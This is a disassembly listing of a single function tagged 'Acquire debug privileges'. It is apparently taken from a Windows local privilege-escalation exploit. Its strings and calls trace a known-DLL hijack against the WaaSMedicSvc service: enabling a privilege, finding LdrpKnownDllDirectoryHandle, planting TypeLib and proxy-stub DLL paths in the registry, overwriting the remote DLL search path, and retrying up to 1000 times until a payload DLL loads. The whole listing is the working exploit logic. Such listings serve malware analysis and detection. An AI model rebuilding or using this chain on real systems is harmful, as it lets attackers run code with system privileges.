Function at 0x1400075c0
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x1400075c0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002e1cb]
call fcn.140001645
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
lea rcx, [0x14001ca70]
call fcn.1400011f4
test eax, eax
jne 0x140007616
lea rdx, [0x14001ca70]
lea rcx, str.____Failed_to_enable_privilege__ws._r_n
call fcn.140001037
jmp 0x140007999
mov rcx, qword [rbp + 0x1a0]
call fcn.1400012bc
test eax, eax
jne 0x14000762b
jmp 0x140007999
lea rdx, str.WaaSMedicSvc
lea rcx, str.___Service__re_started:__ws_r_n
call fcn.140001037
mov rcx, qword [rbp + 0x1a0]
call fcn.140001195
test eax, eax
jne 0x140007653
jmp 0x140007999
mov rax, qword [rbp + 0x1a0]
mov edx, dword [rax]
lea rcx, str.___Directory_handle_value_in_remote_process:_0x_04x_r_n
call fcn.140001037
mov rcx, qword [rbp + 0x1a0]
call fcn.1400015d2
test eax, eax
jne 0x14000767d
jmp 0x140007999
mov rcx, qword [rbp + 0x1a0]
call fcn.14000143d
test eax, eax
jne 0x140007692
jmp 0x140007999
mov rcx, qword [rbp + 0x1a0]
call fcn.140001613
mov rdx, rax
lea rcx, str.___TypeLib_file_created_and_set_in_the_registry:__ws_r_n
call fcn.140001037
mov rax, qword [rbp + 0x1a0]
add rax, 8
mov rcx, rax
call fcn.1400014d8
test eax, eax
jne 0x1400076d5
lea rcx, str.____Failed_to_determine_the_address_of_LdrpKnownDllDirectoryHandle_r_n
call fcn.140001037
jmp 0x140007999
mov rax, qword [rbp + 0x1a0]
mov rdx, qword [rax + 8]
lea rcx, str.___Known_DLL_Directory_handle___0x_llx_r_n
call fcn.140001037
mov rcx, qword [rbp + 0x1a0]
call fcn.1400012c6
test eax, eax
jne 0x140007701
jmp 0x140007999
mov rcx, qword [rbp + 0x1a0]
call fcn.140001695
mov rcx, qword [rbp + 0x1a0]
mov r8, qword [rcx + 0x78]
mov rdx, rax
lea rcx, str.___Section__ws_created_from_file__ws_r_n
call fcn.140001037
mov rcx, qword [rbp + 0x1a0]
call fcn.1400014f6
test eax, eax
jne 0x14000773c
jmp 0x140007999
mov rcx, qword [rbp + 0x1a0]
call fcn.140001479
test eax, eax
jne 0x140007751
jmp 0x140007999
mov rcx, qword [rbp + 0x1a0]
call fcn.1400014ce
mov rdx, rax
lea rcx, str.___Proxy_Stub_DLL_path_set_in_the_registry:__ws_r_n
call fcn.140001037
mov rcx, qword [rbp + 0x1a0]
call fcn.14000136b
test eax, eax
jne 0x140007781
jmp 0x140007999
mov rcx, qword [rbp + 0x1a0]
call fcn.14000153c
mov rdx, rax
lea rcx, str.___Plugin_DLL_file_locked:__ws_r_n
call fcn.140001037
mov rcx, qword [rbp + 0x1a0]
call fcn.140001217
mov r9, rax
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x178]
mov qword [rax + 0x40], rcx
cmp qword [rbp + 0x178], 0
jne 0x1400077e3
jmp 0x140007999
mov rax, qword [rbp + 0x1a0]
add rax, 0xa0
mov rdx, rax
mov rcx, qword [rbp + 0x1a0]
call fcn.1400011c2
test eax, eax
jne 0x14000780f
lea rcx, str.____Failed_to_enumerate_temporary_directories._r_n
call fcn.140001037
mov ecx, 0x50
call fcn.140001041
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0
je 0x140007865
mov edx, 0x50
mov rcx, qword [rbp + 0x148]
call fcn.14000101e
mov rax, qword [rbp + 0x1a0]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x1a0]
mov rdx, qword [rax + 8]
mov rcx, qword [rbp + 0x148]
call fcn.14000128a
mov qword [rbp + 0x178], rax
jmp 0x140007870
mov qword [rbp + 0x178], 0
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x28]
call fcn.14000123f
test eax, eax
jne 0x14000789b
jmp 0x140007999
lea rcx, str.___Remote_DLL_search_path_flag_overwritten._r_n
call fcn.140001037
lea rcx, str.___Trying_to_write_a_valid_object_directory_handle..._r_n
call fcn.140001037
mov dword [rbp + 0x44], 0
jmp 0x1400078c4
mov eax, dword [rbp + 0x44]
inc eax
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0x3e8
jae 0x140007984
mov eax, dword [rbp + 0x44]
inc eax
xor edx, edx
mov ecx, 0x64
div ecx
mov eax, edx
test eax, eax
jne 0x140007912
mov eax, dword [rbp + 0x44]
inc eax
imul eax, eax, 0x64
xor edx, edx
mov ecx, 0x3e8
div ecx
mov ecx, dword [rbp + 0x44]
inc ecx
mov r9d, eax
mov r8d, 0x3e8
mov edx, ecx
lea rcx, str.___Attempt__3d__d___d____r_n
call fcn.140001037
mov rcx, qword [rbp + 0x28]
call fcn.1400011b8
test eax, eax
jne 0x140007921
jmp 0x140007999
mov rcx, qword [rbp + 0x28]
call fcn.14000120d
test eax, eax
jne 0x140007953
lea rcx, str.WaaSMedicSvc
call fcn.1400016ae
test eax, eax
jne 0x140007953
lea rdx, str.WaaSMedicSvc
lea rcx, str.____Service__ws_is_no_longer_running__it_probably_crashed_because_of_an_invalid_handle_value._r_n
call fcn.140001037
jmp 0x140007999
mov rcx, qword [rbp + 0x1a0]
call fcn.1400011a9
test eax, eax
je 0x14000797f
mov eax, dword [rbp + 0x44]
inc eax
mov edx, eax
lea rcx, str.___Payload_DLL_successfully_loaded_after__d_attempts__r_n
call fcn.140001037
mov dword [rbp + 4], 1
jmp 0x140007984
jmp 0x1400078bc
cmp dword [rbp + 0x44], 0x3e8
jb 0x140007999
lea rcx, str.____Reached_the_maximum_number_of_attempts._r_n
call fcn.140001037
mov rcx, qword [rbp + 0x1a0]
call fcn.1400012ad
mov rcx, qword [rbp + 0x1a0]
call fcn.1400015aa
mov rax, qword [rbp + 0x1a0]
add rax, 0xc0
mov rdx, rax
mov rcx, qword [rbp + 0x1a0]
call fcn.1400011c2
test eax, eax
je 0x1400079dd
mov rcx, qword [rbp + 0x1a0]
call fcn.1400010d7
cmp qword [rbp + 0x28], 0
je 0x140007a1e
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0
je 0x140007a13
mov edx, 1
mov rcx, qword [rbp + 0x168]
call fcn.1400012f8
mov qword [rbp + 0x178], rax
jmp 0x140007a1e
mov qword [rbp + 0x178], 0
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret